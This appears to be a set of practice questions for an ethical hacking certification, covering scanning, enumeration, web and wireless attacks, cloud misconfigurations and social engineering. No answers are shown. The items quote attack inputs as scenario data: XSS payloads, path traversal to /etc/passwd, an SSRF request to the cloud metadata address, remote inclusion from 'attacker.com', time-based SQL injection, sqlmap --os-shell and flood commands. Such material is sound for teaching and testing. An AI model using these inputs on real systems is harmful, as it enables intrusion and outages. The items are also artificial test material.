A security team discovers that an attacker has been using steganography to exfiltrate data from the corporate network. The attacker hid data inside image files and uploaded them to a public image hosting site. Which of the following is the BEST method to detect this type of exfiltration?

During a wireless penetration test, a tester captures the 4-way handshake between a client and WPA2-PSK access point. Which tool would the tester MOST likely use to attempt to recover the pre-shared key?

You are a security analyst at a financial institution. The SOC has detected anomalous outbound traffic from a server in the DMZ to an unknown IP address on TCP port 8443. The server runs a custom application that normally communicates with internal databases on port 1433. The server's OS is Windows Server 2019. Preliminary analysis shows that a new service named 'UpdateSvc' was installed three days ago, set to start automatically, and runs under the LocalSystem account. The service binary is located at C:\Windows\System32\svchost.exe (the legitimate one). However, the service's 'ImagePath' registry key points to 'C:\Windows\System32\svchost.exe -k UpdateSvc'. Additionally, a scheduled task named 'HealthCheck' runs every hour and executes 'powershell.exe -EncodedCommand <base64>'. The encoded command decodes to a script that downloads a payload from the same unknown IP on port 8443 and executes it in memory. The server has antivirus installed that detected nothing. As the analyst, which of the following is the BEST immediate course of action?

A security analyst is investigating a potential container escape in a Kubernetes cluster. Which THREE of the following are common indicators of a container escape?

During a penetration test, a tester wants to gather email addresses, subdomains, and employee names associated with a target domain. Which of the following tools is specifically designed for such passive reconnaissance?

Which THREE of the following are valid methods for exploiting cloud misconfigurations? (Select 3)

A security analyst runs the command 'tcpdump -i eth0 -n host 10.0.0.5 and port 80' and sees many packets with the SYN flag set but no corresponding ACK. Which attack is likely occurring?

Which of the following tools is specifically designed for assessing the security of AWS environments by checking for misconfigurations in services like S3, IAM, and EC2?

After gaining access to a system, an attacker modifies log files to remove evidence of their activities. This action is part of which phase of the system hacking methodology?

A security analyst suspects an attacker has used a rainbow table to crack password hashes from a compromised system. Which password cracking technique involves precomputed hash chains?

Which of the following is a symmetric encryption algorithm that uses a block cipher with a fixed block size of 128 bits and key sizes of 128, 192, or 256 bits?

Which of the following is a primary defense against SQL injection attacks?

Which THREE of the following are common indicators of an SQL injection attack? (Choose 3.)

A penetration tester needs to perform a brute-force attack on a web application login form. Which Burp Suite tool is specifically designed for automating parameterized attacks like password guessing?

A security engineer observes that an internal web application uses XML to transmit data between systems. The engineer discovers that by sending a crafted XML payload, they can read sensitive files from the server's filesystem. Which attack is being performed?

Which TWO of the following are examples of active reconnaissance techniques? (Select two)

A junior penetration tester runs the command: whois example.com. What type of information are they MOST likely trying to obtain?

Which TWO of the following are symmetric encryption algorithms? (Select TWO.)

A tester runs 'snmpwalk -v2c -c public 192.168.1.1' and receives a large amount of system information. What does this command do?

A penetration tester wants to perform a ping sweep on a /24 subnet to identify live hosts. Which command would accomplish this efficiently?

A security analyst performs a passive reconnaissance of a target domain using public resources. Which of the following techniques would be considered passive reconnaissance?

A web application allows users to view documents by specifying a filename in the URL, e.g., /getDocument?file=report.pdf. A tester changes the file parameter to '../../etc/passwd' and retrieves the system password file. Which vulnerability is being exploited?

An analyst wants to perform a SYN flood attack test against a server to evaluate its resilience. Which of the following tools would be the MOST appropriate for this task?

A web application tester encounters a parameter that is reflected in the response without sanitization. The tester suspects XSS. Which TWO types of XSS could be present in this scenario? (Choose TWO.)

A security analyst captures a large number of weak initialization vectors (IVs) using airodump-ng. Which attack does this preparation indicate?

A penetration tester is attempting to escalate privileges on a Linux target. The tester runs `find / -perm -4000 -type f 2>/dev/null` and discovers that `/usr/bin/pkexec` has the SUID bit set. The target runs Ubuntu 20.04 with default configurations. Which of the following is the MOST likely next step?

Which TWO of the following are characteristics of a polymorphic virus? (Select 2)

During a penetration test, you execute the following command: dnsrecon -d example.com -t axfr. The output shows 'AXFR record received' followed by a list of all DNS records. What does this indicate about the target's DNS configuration?

Which of the following is the PRIMARY purpose of steganography in the context of covering tracks after a system compromise?

Which TWO of the following are techniques used in session hijacking? (Choose 2)

An analyst runs the following command: `tcpdump -i eth0 src host 192.168.1.10 and dst port 80 -w http_traffic.pcap`. What is the primary purpose of this command?

Refer to the exhibit. A penetration tester observes that the DNS server returns both internal (10.0.0.0/8) and external (203.0.113.5) IP addresses for the same domain. What is this technique called?

A penetration tester runs 'nmap -sS -p 80 --script http-title 192.168.1.100' and receives output indicating port 80 is 'filtered'. What does the 'filtered' state imply?

Refer to the exhibit. A security analyst captured the HTTP request and response shown. What type of vulnerability is present?

An organization wants to test its employees' susceptibility to social engineering by sending fake emails that appear to come from the IT department, requesting password resets. Which tool would be MOST effective for conducting this test?

Match each vulnerability assessment tool to its function.

An incident response team discovers a suspicious executable on a compromised workstation. They want to analyze the malware without executing it. Which of the following techniques would be MOST appropriate for this initial analysis?

Which TWO vulnerabilities are associated with buffer overflow attacks?

A penetration tester is analyzing a Windows 10 system and runs the following command to dump password hashes from the SAM database. The output shows hashes for local users but some are missing. Which step is most likely missing?

A security analyst notices that a web application returns different error messages for valid and invalid usernames during login. Which type of attack is this application MOST vulnerable to?

An analyst sees the following in a log: Client sends a request to https://victim.com/api?url=http://169.254.169.254/latest/meta-data/. This is MOST indicative of which attack?

During a penetration test, an ethical hacker needs to evade an IDS that detects port scans based on the number of packets per second. Which technique would be most effective to avoid detection?

Which of the following tools is specifically designed to exploit WPS vulnerabilities on wireless networks?

A penetration tester is testing an IIS web server and wants to exploit a WebDAV misconfiguration to upload a web shell. Which HTTP method should the tester check to determine if WebDAV is enabled and allows file uploads?

A security engineer analyzes a cloud environment and finds that an S3 bucket named 'company-backups' is configured with a bucket policy that allows 'Principal': '*' and 'Action': 's3:GetObject'. Which of the following is the MOST likely risk?

Which THREE of the following are valid Nmap port states?

An attacker uses 'rpcclient -U '' -N 192.168.1.10' followed by 'enumdomusers' and 'enumdomgroups'. What type of enumeration is being performed, and which protocol does it rely on?

An organization experiences a DDoS attack where the attacker sends many incomplete HTTP requests that keep connections open, exhausting the server's connection pool. Which attack technique is being used?

A security analyst issues the command `dnsenum example.com` and receives a list of subdomains, mail servers, and name servers. What information is revealed by the presence of multiple MX records?

A penetration tester runs the following Nmap command: nmap -sU -sS -p 53,161,162,500 10.0.0.1 and receives no responses for UDP scans but standard results for TCP. The tester suspects the target is dropping all UDP packets. Which Nmap option could help increase the likelihood of UDP responses by fragmenting the probe?

Which tool is specifically designed to crack Windows LM and NTLM hashes using rainbow tables?

A security team uses ScoutSuite to assess their AWS environment. The tool reports that an S3 bucket policy allows access from any IP address. What is the MOST likely misconfiguration?

A user receives a phone call from someone claiming to be from IT support, asking for their password to troubleshoot an issue. Which social engineering technique is being used?

During a vulnerability assessment, a security analyst receives an alert from the IDS that a scan with fragmented packets and spoofed source IPs is targeting the internal network. Which Nmap command MOST likely caused this alert?

A security analyst uses the nbtstat -a command against a target IP address. What information is the analyst MOST likely attempting to retrieve?

During a web application assessment, a tester intercepts a request and modifies the 'Referer' header. The application then performs a state-changing action without requiring a token. Which vulnerability is most likely present?

During a penetration test, a security analyst observes that Nmap SYN scans to a target server are not returning any results, but TCP connect scans succeed. The server is running an IDS. Which evasion technique is the analyst MOST likely encountering?

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

A penetration tester has obtained a copy of the SAM database from a Windows system. The hashes extracted include both LM and NTLM hashes. Which of the following tools would be MOST efficient to crack the NTLM hashes using a dictionary attack with GPU acceleration?

Refer to the exhibit. An analyst suspects that the downloaded file 'update.exe' may have been tampered with. The vendor's official website lists the SHA256 hash as 4e7c2a8f9b3d1e5f6a0c8b7d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f. What should the analyst conclude?

During a network assessment, you use SNMPwalk against a target. Which of the following is a prerequisite for successful SNMP enumeration?

A cloud security engineer notices that an S3 bucket named 'company-backup' is configured to allow 's3:GetObject' access to 'Principal: *'. Which attack is this misconfiguration MOST likely to enable?

A security analyst observes a sudden surge in incoming UDP traffic to the company's DNS servers from multiple external IP addresses. The packets appear to be DNS queries with spoofed source IPs. Which type of DDoS attack is MOST likely occurring?

A security analyst runs a vulnerability scan and finds that a server is vulnerable to CVE-2021-44228 (Log4j). Which of the following is the best immediate remediation step?

A security analyst observes a suspicious SUID binary /usr/bin/evil in a Linux system. Which type of vulnerability does this indicate, and what is the MOST likely objective of an attacker who placed it?

During a penetration test, you run the command: nmap -sU -p 161,162 --script=snmp-brute 192.168.1.100. Which of the following is the PRIMARY goal of this scan?

A company's internal PKI uses an offline root CA and an online issuing CA. A security engineer needs to revoke a compromised certificate issued by the online CA. Which CRL distribution point should the engineer update?

A security analyst captures network traffic and sees a sequence of ARP replies with the same IP address mapping to different MAC addresses within a short period. Which attack is indicated?

A penetration tester discovers that a web application's search functionality reflects user input directly in the page source without sanitization. The tester crafts a URL like http://example.com/search?q=<script>alert('XSS')</script> and the script executes. This is an example of which type of XSS?

You are a penetration tester assessing a client's internal network. The client has provided you with a non-administrative domain user account. The target network consists of 200 Windows workstations and 5 Windows servers (one domain controller, one file server, two application servers, and one database server). All systems are fully patched and have host-based firewalls enabled. The client wants you to identify vulnerabilities that could be exploited from the internal network. After initial reconnaissance, you discover that all servers have SMB (port 445) open only to the domain controller and the file server has SMB open to all workstations. You have gained a foothold on a workstation via a phishing attack. From this workstation, you can reach the file server on port 445. What is the most effective next step to enumerate potential vulnerabilities on the file server?

A penetration tester wants to evade an IDS while scanning a target network. The tester uses the Nmap command: nmap -sS -f 10.10.10.1. What does the -f flag accomplish?

Which of the following OSINT techniques would be MOST effective for discovering email addresses and employee names associated with a target organization?

A network administrator notices unusual traffic patterns: the internal DNS server is receiving large DNS queries with the source IP spoofed to appear as the internal DNS server itself. The queries appear to be amplification requests. Which TWO characteristics describe this attack?

Which TWO of the following are symmetric encryption algorithms?

During a penetration test, you enumerate a Linux NFS server and discover that the /export directory is mounted with 'no_root_squash' and 'world_readable' permissions. Which of the following actions would allow you to escalate to root access on the NFS client?

A penetration tester wants to perform a stealth scan without completing the TCP three-way handshake. The target is a web server on port 80. The tester uses Nmap with the -sS flag. What is the expected behavior if the port is open?

Which TWO of the following are valid methods for enumerating SMB shares on a target system? (Select 2)

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications?

A penetration tester uses the SMTP commands VRFY and EXPN on a mail server. What is the tester MOST likely trying to accomplish?

After gaining initial access to a Windows server, a penetration tester wants to escalate privileges. The tester finds that the current user has the 'SeImpersonatePrivilege' enabled. Which attack technique could the tester use to abuse this privilege?

A penetration tester uses SQLMap with the option '--technique=T --dbms=MySQL --level=5 --risk=3' against a login form. The tool returns results after a delay of several seconds per request. Which SQL injection technique is being used?

A security analyst observes repeated log entries showing `EXPN` commands from an external IP address to the company's mail server. What is the MOST likely objective of this activity?

Drag and drop the steps to perform a TCP three-way handshake into the correct order.

A security analyst wants to gather information about a target domain without sending any packets to the target. Which technique should the analyst use?

A forensic analyst discovers that an attacker used a rootkit to hide malicious processes and files on a compromised Linux system. The rootkit also intercepts system calls to `open()` and `stat()` to return clean results. Which of the following techniques is the rootkit using to cover its tracks?

Which DoS attack exploits the HTTP protocol by sending partial HTTP requests to keep connections open, exhausting server resources?

During a penetration test, a security analyst discovers that a web application uses sequential numeric identifiers in URLs (e.g., /profile?id=100). By modifying the id parameter, the analyst can access another user's profile data without authorization. Which vulnerability is being exploited?

A security analyst is reviewing HTTP response headers and notices the following: Set-Cookie: sessionId=abc123; SameSite=Lax. What is the primary purpose of the SameSite attribute?

A penetration tester captures the following output from a command: 'smb: \> ls \\192.168.1.20\C$'. The tester is able to list the contents of the C$ share without providing credentials. Which of the following is the MOST likely reason for this access?

Which Burp Suite tool is specifically designed to automate customized attacks on web applications, such as brute-forcing login forms or fuzzing parameters?

Which TWO of the following are valid methods for enumerating users on a SMTP server? (Select 2)

An attacker uses the VRFY command on an SMTP server to check the existence of email addresses. The server responds with '250 OK' for 'admin@company.com' and '550 No such user' for 'fake@company.com'. Which SMTP enumeration technique is being used?

An attacker calls a company's help desk, pretending to be a new employee who forgot his username and password. The attacker provides some employee details gleaned from social media and convinces the help desk to reset the password. Which social engineering technique is being used?

A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing <script>alert('stored')</script>. When an admin views the feedback page, the script executes. Which type of XSS is this?

A penetration tester discovers that a web application includes the following code: 'include($_GET['page'] . '.php');' and the application is running on a Linux server. The tester attempts to exploit this by accessing 'index.php?page=../../etc/passwd'. What type of attack is this, and will it succeed?

During a penetration test, you run the following command: nmap -sV -p 80 --script http-title 192.168.1.10. The output shows that port 80 is open and the HTTP title is 'Login Portal'. Which phase of the penetration testing methodology does this activity represent?

A forensic analyst examining a compromised Linux system finds the following entry in /var/log/auth.log: `Mar 15 10:23:45 server sshd[1234]: Accepted password for root from 10.0.0.5 port 54321 ssh2`. However, the analyst also notices that /var/log/auth.log has been truncated and the /etc/ssh/sshd_config file contains `LogLevel QUIET`. Which attack phase is most likely being obscured?

During a penetration test, you capture the following output: 'HTTP/1.1 200 OK ... Set-Cookie: sessionid=abc123; path=/'. You then send a request with a modified cookie value 'sessionid=abc124' and receive a valid session. Which type of vulnerability has been exploited?

Which of the following is the BEST defense against a TCP SYN flood attack?

An analyst notices that a web application's login page returns a generic 'Invalid credentials' message regardless of whether the username is valid. This is an example of which security control?

You are a penetration tester for a security firm. Your client, Acme Corp, has requested an external reconnaissance assessment. They have provided their primary domain 'acme.com'. You begin by performing passive footprinting using public sources. After gathering initial information, you want to identify their email servers, subdomains, and any exposed services. You also want to map their network infrastructure without directly interacting with their systems to avoid detection. Which course of action should you take next?

A security analyst discovers a file named invoice.exe in an email attachment. Static analysis with PEiD indicates the file is packed with UPX. What is the BEST next step in analyzing this malware?

During a penetration test, the tester successfully cracks a password hash using a hybrid attack. Which THREE characteristics describe a hybrid attack? (Select three.)

A security analyst observes that a web application's login page responds with different HTTP status codes and response times for valid versus invalid usernames. This information leakage could be used to perform which type of authentication attack?

Refer to the exhibit. A penetration tester executed the SQL injection payload and received the response shown. What is the most likely outcome of this attack?

An attacker has gained access to a Linux server and wants to cover their tracks. They edit the `.bash_history` file, modify system logs in `/var/log`, and install a kernel module that hides their processes. Which two steps of the system hacking methodology (CHPSET) are being performed?

A penetration tester uses a tool to intercept and modify HTTP/HTTPS requests in real-time between the browser and the web application. Which tool is being used?

Which THREE of the following are types of SQL injection attacks? (Select 3)

Which tool would a penetration tester MOST likely use to perform ARP poisoning and conduct a man-in-the-middle attack on a local network?

A security administrator notices that the network switch is broadcasting traffic to all ports as if it were a hub. The switch logs show a sudden flood of packets with random MAC addresses. Which attack is MOST likely occurring?

Which TWO of the following are common defense measures against wireless de-authentication attacks? (Select 2)

A security analyst is analyzing a suspicious file and runs the command 'strings malware.exe | grep -i http'. The output shows several URLs ending with '.exe'. What does this indicate?

During a penetration test, a tester uses SQLMap with the following command: 'sqlmap -u "http://target.com/page?id=1" --os-shell'. The target is a Linux server running MySQL. Which SQL injection technique will SQLMap likely attempt to use to achieve an OS shell?

In an IoT environment, a researcher finds that the firmware of a smart lock can be extracted via UART and reversed to reveal hardcoded encryption keys. Which type of vulnerability is this?

A penetration tester uses a tool to spoof ARP replies, redirecting traffic through the tester's machine. The tester then captures credentials from the redirected traffic. Which tool is BEST suited for this task?

A penetration tester obtains a list of password hashes and uses RainbowCrack. Which statement BEST describes how RainbowCrack works?

Which TWO of the following describe the state of a port when Nmap reports it as 'filtered'? (Select 2)

A security analyst runs the following command: 'smbclient -L //192.168.1.50 -N'. What is the purpose of this command?

Which of the following is a common defense against clickjacking attacks?

A security analyst notices that a web application uses sequential numeric IDs for user accounts (e.g., /profile?id=1001). By changing the ID to 1002, the analyst can view another user's profile. Which vulnerability is present?

An ethical hacker runs the command shown in the exhibit. Which of the following conclusions can be drawn from the output?

During a penetration test, you discover that the target organization uses a cloud-based email service. Which technique would allow you to gather employee email addresses and potentially infer internal organizational structure?

Which of the following is a common indicator of a stored (persistent) Cross-Site Scripting (XSS) attack?

A security analyst runs `nbtstat -A 192.168.1.50` from a Windows command prompt and receives output showing a table with names like 'WORKGROUP<00>', 'PC01<20>', and 'USER<03>'. What is the MOST likely purpose of this command?

A security analyst notices a high volume of ICMP Echo Reply packets on the network. The source IPs are varied, but the destination IP is the same. Which type of attack is MOST likely occurring?

Which cloud security assessment tool is specifically designed to audit AWS environments for misconfigurations and provides a detailed report of findings?

During a vulnerability assessment, which of the following tools is a comprehensive vulnerability scanner that uses a plugin architecture to detect thousands of vulnerabilities?

Which TWO of the following are effective countermeasures against SNMP enumeration attacks? (Select 2)

A penetration tester finds that a Linux binary has the SUID bit set and is owned by root. Which of the following does this indicate?

Which of the following is the BEST defense against Cross-Site Request Forgery (CSRF) attacks?

A security team observes that a switch's MAC address table is full, and the switch has started flooding unicast traffic to all ports. Which attack has MOST likely been performed?

A security analyst detects multiple failed authentication attempts on a cloud-based SSH server from a single IP address. The analyst implements a rule to block that IP. However, the attacks continue from different IPs. Which additional control should be implemented to reduce the attack surface?

Which of the following is a form of social engineering where an attacker physically follows an authorized person into a restricted area without proper authentication?

During a penetration test, you run the tool 'macof' against a switch. After a few seconds, the switch starts flooding frames out all ports. Which attack have you successfully executed, and what is the primary goal of this technique?

Which TWO of the following are examples of session hijacking attacks? (Select 2)

Which tool can be used to perform ARP poisoning to intercept traffic between a victim and the default gateway?

A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?

During a cloud security audit, a tool reports that an AWS IAM role has a policy allowing 'ec2:RunInstances' with a condition 'aws:SourceIp': '0.0.0.0/0'. What is the most immediate risk?

You are an ethical hacker hired to assess the security of a mid-sized company's internal network. The company has three departments: Sales, Engineering, and HR, each on separate VLANs. The network uses a single firewall with default-deny rules, but inter-VLAN routing is allowed for specific ports (e.g., HR needs to access Sales database on TCP 1433). During reconnaissance, you discover that the Engineering VLAN has a web server running on port 80 that is accessible from all VLANs. You also find that the Sales VLAN has a file share (SMB) on port 445 that is accessible only from HR. The firewall logs show numerous failed SSH attempts from an external IP to the Engineering web server. Which action should you recommend as the most effective immediate step to reduce the attack surface?

Which tool would an ethical hacker use to automatically generate a malicious USB drive that, when plugged in, executes a payload and connects back to the attacker?

Which of the following is a type of malware that spreads by replicating itself across a network without requiring a host file?

A pentester uses Burp Suite's Intruder to perform a brute-force attack on a login form. Which TWO of the following Intruder attack types would be appropriate for testing different payload combinations?

During a security assessment, a tester runs hping3 with the command: hping3 -S -p 80 -c 5 10.0.0.1. The response shows that packets with the SYN flag set receive SYN-ACK replies. Which of the following conclusions is MOST accurate?

A security analyst reviews logs and notices that an attacker crafted a packet with a source IP address matching the target's IP address, and sent it to a network's broadcast address. Which type of attack does this describe?

During a web application penetration test, a tester discovers a file inclusion vulnerability. Which THREE of the following are potential impacts or exploitation scenarios? (Choose THREE.)

A web developer wants to mitigate CSRF attacks. Which of the following configurations for cookies is most effective when combined with CSRF tokens?

Match each CEH phase to its key activity.

Which TWO of the following correctly describe aspects of the shared responsibility model in cloud computing?

Which of the following is the most effective defense against Cross-Site Request Forgery (CSRF) attacks?

An employee receives an email that appears to be from the CEO, asking the employee to urgently wire funds to a vendor. The email address is slightly misspelled. What type of social engineering attack is this?

During a penetration test, you run `smtp-user-enum -M VRFY -U users.txt -t 10.0.0.10` and receive responses '252 2.5.2 User <username>' for some users and '550 5.1.1 User unknown' for others. What does this indicate?

An ethical hacker is testing a web application that uses cookies for session management. The tester notices that the session cookie does not have the HttpOnly or Secure flags set. Which attack is most likely to succeed due to this misconfiguration?

During a penetration test, you run the following command: hping3 -S -p 80 --flood 192.168.1.100. What is the PRIMARY purpose of this command?

Which THREE of the following are valid methods for DDoS mitigation?

A penetration tester obtains a hash dump from a compromised Windows system and wants to crack LM and NTLM hashes quickly using precomputed tables. Which tool would be most efficient for this task?

A user reports that their system has become sluggish and they see pop-up advertisements even when no browser is open. Additionally, unknown processes are running in Task Manager. Which type of malware is most likely responsible?

A penetration tester is enumerating services on a target Windows server. Which TWO tools are specifically designed for SMB enumeration? (Select two.)

An attacker gains physical access to a restricted area by following an authorized employee through a secured door without swiping a badge. This technique is known as:

Which THREE of the following are indicators of a slowloris DDoS attack?

A penetration tester is attempting to enumerate user accounts on a mail server. They connect to port 25 and issue the commands `VRFY root` and `EXPN support`. Which protocol is being targeted?

Which tool is specifically designed to crack Windows LAN Manager (LM) and NTLM hashes using rainbow tables?

Drag and drop the steps to configure a firewall rule in iptables to block incoming SSH traffic into the correct order.

A penetration tester is performing a check for HTTP response splitting. Which THREE of the following conditions must be present for this attack to succeed?

An employee receives an SMS message that claims to be from the IT department, asking the employee to click a link to verify their email account. Which social engineering attack is this?

Which THREE of the following are common techniques used in the 'Cracking passwords' phase of system hacking? (Select 3)

During a penetration test, you gain access to a Linux server as a low-privileged user. Which of the following is an effective technique to escalate privileges by exploiting misconfigured file permissions?

A penetration tester runs the following command: `macof -i eth0 -s 192.168.1.100 -d 10.0.0.1`. Which attack is being performed?

A penetration tester uses the tool 'Pacu' during an AWS security assessment. Which phase of testing is Pacu most commonly associated with?

Which of the following is the PRIMARY purpose of banner grabbing during the reconnaissance phase?

Which TWO of the following are effective defenses against SQL injection attacks?

An attacker uses the Social Engineering Toolkit (SET) to send a malicious email to employees of a company, claiming to be from IT support and urging them to click a link to reset their password. Which social engineering attack is being performed?

You are a security consultant hired by a mid-sized company with 500 employees. The company has a central office with a lobby, reception, and two secure areas: the server room (requires keycard and PIN) and the executive floor (requires keycard only). Recently, employees have reported seeing unfamiliar people in restricted areas. Security logs show keycard access for the server room only during business hours, but no anomalies. However, the executive floor logs show multiple entries by a single employee, John from Sales, at odd hours. John claims he was working late. The company has a policy that all employees must wear ID badges visibly. You observe that employees often hold doors open for colleagues, and the receptionist does not verify visitor badges. Which of the following actions should you recommend FIRST to address the most likely attack vector?

A penetration tester attempts a SQL injection on a login form and receives no error messages, but notices a delay in the server response when injecting ' OR SLEEP(5)--. Which type of SQL injection is this?

A security analyst runs the following Nmap command: nmap -sS -sV -O -p 22,80,443,3389 192.168.1.0/24. Which of the following BEST describes what this scan will accomplish?

An employee receives an email that appears to be from the CEO, requesting an urgent wire transfer. The email address is slightly misspelled (e.g., ceo@cornpany.com instead of ceo@company.com). This is an example of which type of attack?

Which of the following best describes a Server-Side Request Forgery (SSRF) attack?

During a penetration test, a tester captures network traffic and notices a large number of ARP replies claiming that 192.168.1.1 is at MAC address 00:11:22:33:44:55, which is different from the legitimate gateway MAC. Which attack is likely in progress?

A security analyst is planning a reconnaissance activity that must remain undetected. Which TWO of the following techniques should they choose?

Which OWASP Top 10 (2021) category describes the vulnerability where an application allows an attacker to include a remote file from an external server, leading to code execution or data disclosure?

A penetration tester is assessing an organization's physical security. The tester wants to gain unauthorized access to a secured server room that uses a biometric fingerprint scanner. Which of the following techniques would be MOST effective for bypassing the biometric scanner?

During a wireless penetration test, the tester runs `airodump-ng wlan0mon` and sees numerous beacon frames from a network. The tester then sends deauthentication packets using `aireplay-ng -0 5 -a <BSSID> wlan0mon`. What is the PRIMARY purpose of this deauthentication attack?

A security auditor is assessing the physical security of a corporate office building that houses a data center. The building has a single main entrance with a reception desk staffed during business hours (8 AM to 6 PM). After hours, employees use a keycard reader to access the building. The data center itself requires a separate keycard and a 6-digit PIN. The auditor notices that during lunch hours (12-1 PM), the reception desk is often unattended, and employees frequently hold the door for others to avoid using their keycard. Additionally, a recent social engineering test revealed that an attacker was able to call the help desk, claim to be a new employee, and request a password reset, which was granted without proper verification. Based on this scenario, which of the following is the MOST effective combination of controls to mitigate both the physical and social engineering weaknesses?

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page?id=1' --batch --dbs. Which of the following best describes what this command will do?

Which THREE of the following are effective DDoS mitigation techniques? (Select 3)

A security engineer is concerned about DNS zone transfer attacks. Which of the following countermeasures would be MOST effective in preventing unauthorized zone transfers?

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

During a penetration test, an analyst detects that an SNMP agent on a network device is using the default community string 'public'. Which TWO actions can the analyst perform using this information? (Choose TWO.)

A penetration tester is assessing the security of a cloud application and discovers that it is vulnerable to Server-Side Request Forgery (SSRF). Which TWO of the following are potential impacts of this vulnerability?

A security analyst wants to gather information about a target domain using public records without directly interacting with the target's systems. Which technique is the analyst employing?

A security analyst is tasked with performing passive reconnaissance on a target organization. Which of the following is the BEST approach to gather information about the target's technology stack without directly interacting with the target's systems?

During a penetration test, the tester runs `ldapsearch -x -H ldap://192.168.1.20 -b 'dc=domain,dc=com' '(objectclass=*)'`. The output reveals user objects with 'userPassword' attributes in clear text. Which type of enumeration is being performed, and what is the security implication?

A security analyst captures a large number of unique initialization vectors (IVs) from a wireless network using airodump-ng. Which attack are they MOST likely preparing to execute?

During a penetration test, you discover a Windows service running with SYSTEM privileges that has a weak file permission allowing the 'Everyone' group to modify its executable. Which privilege escalation technique is MOST directly applicable here?

A penetration tester uses the following Nmap command: nmap -sS -O -p 1-1000 10.0.0.1. The output shows port 22 as open, and OS detection suggests 'Linux 2.6.x'. The tester then runs: nmap -sV -p 22 10.0.0.1. What additional information does the second scan provide?

A penetration tester uses the following command to scan a target: nmap -sU -sV -p 53,161,162 10.0.0.1. Which of the following BEST describes what this scan will accomplish?

A security analyst observes an SSL/TLS handshake where the client and server negotiate TLS 1.0 instead of TLS 1.2, despite the server supporting TLS 1.2. Which attack BEST describes the manipulation of the handshake to force weaker encryption?

An organization is investigating a potential malware infection. The security analyst observes unusual outbound connections to a known malicious IP address and finds a suspicious process running under a user's session. The analyst decides to perform memory analysis using Volatility. Which TWO commands would be most useful to identify the malicious process and its network connections?

Refer to the exhibit. A security analyst reviews the firewall log and notices that user jdoe accessed a file server via SMB (port 445) from an internal IP (10.0.0.45) that is not the usual file server subnet. Which type of social engineering attack is most likely being attempted?

An attacker modifies system logs to remove entries related to their activities. Which technique is being used to cover tracks?

A penetration tester uses the Social Engineering Toolkit (SET) to create a malicious USB drive that autoruns when inserted. Which social engineering technique is being employed?

A security engineer runs SNMPwalk on a network device and receives community strings as 'public' and 'private'. What is the PRIMARY concern?

During a penetration test, you notice that a web application accepts user input and displays it directly in the browser without sanitization. Which attack is most likely to succeed?

Which THREE of the following are components of the CHPSET system hacking methodology? (Select three.)

Which malware type is characterized by self-replication across networks without needing a host file?

In a cloud environment, an attacker exploits a vulnerability in a web application to make the server send requests to internal metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/). This yields IAM temporary credentials. Which attack is this?

Which TWO of the following are common techniques used to cover tracks after compromising a system? (Choose TWO.)

A security analyst observes that a server running an IoT device management platform is sending MQTT traffic to an unexpected IP address. The analyst also notes that the device's firmware contains hardcoded credentials. Which attack vector is MOST likely being exploited?

A user receives an email claiming to be from their bank, asking them to click a link and verify their account credentials. The email contains spelling errors and the link points to a suspicious domain. What type of social engineering attack is this?

A security analyst observes the following Nmap output for a target host: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https. The analyst then runs a version detection scan and notices that port 80 reports 'Apache httpd 2.4.41' but port 443 reports 'Apache httpd 2.4.41' as well. What is the MOST likely conclusion?

During a wireless penetration test, you discover that the target network uses WPA2-Enterprise with PEAP-MSCHAPv2. You capture the authentication traffic of a legitimate user. Which attack can you perform to recover the user's domain credentials?

During a social engineering engagement, a tester calls the help desk posing as an employee from the IT department. The tester claims to be working on a critical system update and needs the employee's password to proceed. Which type of social engineering attack is being executed?

A web application tester notices that the application reflects user input in the URL without proper encoding. The tester submits a payload <script>alert('xss')</script> in a search field and the script executes in the browser. Which type of XSS vulnerability is this MOST likely?

Drag and drop the steps to perform a buffer overflow exploit in a controlled lab environment into the correct order.

A penetration tester is assessing the security of a smart building's IoT infrastructure. The building uses Zigbee sensors for temperature and motion detection, and some devices communicate using MQTT over Wi-Fi. During the assessment, the tester captures traffic and notices that some Zigbee devices are sending unencrypted frames containing sensor IDs and values. Which TWO actions should the tester recommend to mitigate the identified vulnerabilities? (Choose two.)

An IoT device uses the MQTT protocol without any authentication or encryption. An attacker on the same network subscribes to all topics on the MQTT broker. Which of the following is the MOST effective immediate countermeasure?

A penetration tester executes the following command: nmap -sS -p 1-1000 --script banner 192.168.1.10. After the scan, the tester notices several filtered ports. Which of the following BEST explains why Nmap reports a port as "filtered"?

A web application is vulnerable to server-side request forgery (SSRF). An attacker sends a request that causes the server to make an internal HTTP request to http://169.254.169.254/latest/meta-data/. What is the attacker attempting to achieve?

During an internal penetration test, an analyst uses `enum4linux -a 10.0.0.5` and retrieves a list of local users, including an account named 'sqlsvc'. The analyst then attempts to crack the password using a dictionary attack. Which password cracking tool would be most efficient for this task?

During a penetration test, an ethical hacker finds that a web application transmits sensitive data in plaintext over HTTPS. Which of the following best describes this security issue?

Which of the following tools is specifically designed to perform Google dorking and automate searching for vulnerable web applications and sensitive information?

During a penetration test, the tester needs to identify the operating system of a remote host without sending any packets to it. Which technique should the tester use?

Which TWO of the following are types of malware analysis? (Select 2)

Which TWO of the following are common indicators of a DNS spoofing attack? (Select 2)

Which of the following describes a Server-Side Request Forgery (SSRF) attack?

A penetration tester uses Burp Suite Repeater to manually modify and resend HTTP requests to a web server. In which phase of the testing methodology is this tool most commonly employed?

A web application allows users to upload profile images. An attacker uploads a file named 'image.php.png' with malicious PHP code, and the server executes it as PHP. Which type of vulnerability is this?

An incident responder finds that the Windows Event Logs on a compromised server have been cleared, and the Security log shows gaps in coverage. Additionally, a rootkit is suspected. Which phase of the hacking methodology does the clearing of logs represent?

An attacker sends an email to the CEO of a company, pretending to be a board member and requesting a wire transfer for a confidential acquisition. Which social engineering attack is this?

A security analyst runs the command: nmap -sS -p 80,443,8080 --script http-headers scanme.nmap.org. The output shows that port 80 is filtered. What does 'filtered' mean in this context?

Which TWO of the following Nmap flags can be used to bypass firewall restrictions? (Select 2)

